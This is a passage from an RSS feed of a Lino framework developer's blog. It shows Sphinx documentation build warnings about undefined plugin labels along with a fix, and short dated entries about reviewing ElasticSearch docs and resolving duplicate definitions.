&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NotesByOwner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NotesByPerson&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NotesByType&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SpecialTypes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;notes&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;outbox&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Attachments&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;outbox&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;outbox&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AttachmentsByController&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;outbox&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;outbox&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AttachmentsByMail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;outbox&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;outbox&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Mails&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;outbox&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;outbox&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MailsByController&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;outbox&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;outbox&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MailsByUser&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;outbox&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;outbox&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MyOutbox&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;outbox&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;outbox&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RecipientTypes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;outbox&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;outbox&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Recipients&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;outbox&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;outbox&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RecipientsByMail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;outbox&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;outbox&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SentByPartner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;outbox&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;rooms&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;BookingStates&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rooms&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;rooms&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Bookings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rooms&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp0s_puzr0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;frdocs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;rooms&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;BookingsByCompany&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;undefined&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ug&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rooms&lt;/span&gt;
&lt;span class="n"&gt;generating&lt;/span&gt; &lt;span class="n"&gt;indices&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="n"&gt;done&lt;/span&gt;
&lt;span class="n"&gt;writing&lt;/span&gt; &lt;span class="n"&gt;additional&lt;/span&gt; &lt;span class="n"&gt;pages&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="n"&gt;search&lt;/span&gt; &lt;span class="n"&gt;done&lt;/span&gt;
&lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;static&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="n"&gt;done&lt;/span&gt;
&lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;extra&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="n"&gt;done&lt;/span&gt;
&lt;span class="n"&gt;dumping&lt;/span&gt; &lt;span class="n"&gt;search&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;French&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;fr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="n"&gt;done&lt;/span&gt;
&lt;span class="n"&gt;dumping&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="n"&gt;inventory&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="n"&gt;done&lt;/span&gt;
&lt;span class="n"&gt;build&lt;/span&gt; &lt;span class="n"&gt;succeeded&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="n"&gt;warnings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;

&lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;HTML&lt;/span&gt; &lt;span class="n"&gt;pages&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;../../../&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino_local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;voga1e&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;media&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fr&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="mi"&gt;5&lt;/span&gt; &lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;*.&lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt; &lt;span class="n"&gt;have&lt;/span&gt; &lt;span class="n"&gt;been&lt;/span&gt; &lt;span class="n"&gt;built&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="mf"&gt;12.596930027008057&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Solution: add dummy headings for the missing refs to &lt;a class="reference external" href="https://using.lino-framework.org/plugins/index.html#ug-plugins" title="(in Lino User Guide)"&gt;&lt;span&gt;Plugin reference for end users&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/1203.html</guid><pubDate>Fri, 03 Dec 2021 00:00:00 +0000</pubDate></item><item><title>Thursday, December 2, 2021</title><link>https://luc.lino-framework.org/blog/2021/1202.html</link><description>&lt;section id="thursday-december-2-2021"&gt;
&lt;h1&gt;Thursday, December 2, 2021&lt;a class="headerlink" href="#thursday-december-2-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I started to review the docs about &lt;a class="reference external" href="https://hosting.lino-framework.org/links/#term-ElasticSearch" title="(in Lino Hosting Guide)"&gt;&lt;span class="xref std std-term"&gt;ElasticSearch&lt;/span&gt;&lt;/a&gt; in book and hg. Not
finished because I was distracted by another issue: The latest Sphinx versions
are more strict regarding duplicate definitions, which is good, but I had a few
of them and needed to dive into the docs in order to decide how to resolve them.&lt;/p&gt;
&lt;p&gt;I can now refer to &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/search.html#setting-use_elasticsearch" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;use_elasticsearch&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/search.html#setting-search.elasticsearch_url" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;search.elasticsearch_url&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, which refers to the new “Local settings
reference” page (&lt;a class="reference external" href="https://hosting.lino-framework.org/ref/settings/#hg-ref-settings" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Site settings reference for maintainers&lt;/span&gt;&lt;/a&gt;) in the &lt;a class="reference external" href="https://hosting.lino-framework.org/#hg" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Lino Hosting Guide&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I also started to boldly edit Sharif’s first drafts in &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/search.html#dg-plugins-search" title="(in Lino Developer Guide)"&gt;&lt;span&gt;search : Add search functionality&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/1202.html</guid><pubDate>Thu, 02 Dec 2021 00:00:00 +0000</pubDate></item><item><title>Saturday, November 27, 2021</title><link>https://luc.lino-framework.org/blog/2021/1127.html</link><description>&lt;section id="saturday-november-27-2021"&gt;
&lt;h1&gt;Saturday, November 27, 2021&lt;a class="headerlink" href="#saturday-november-27-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;/section&gt;
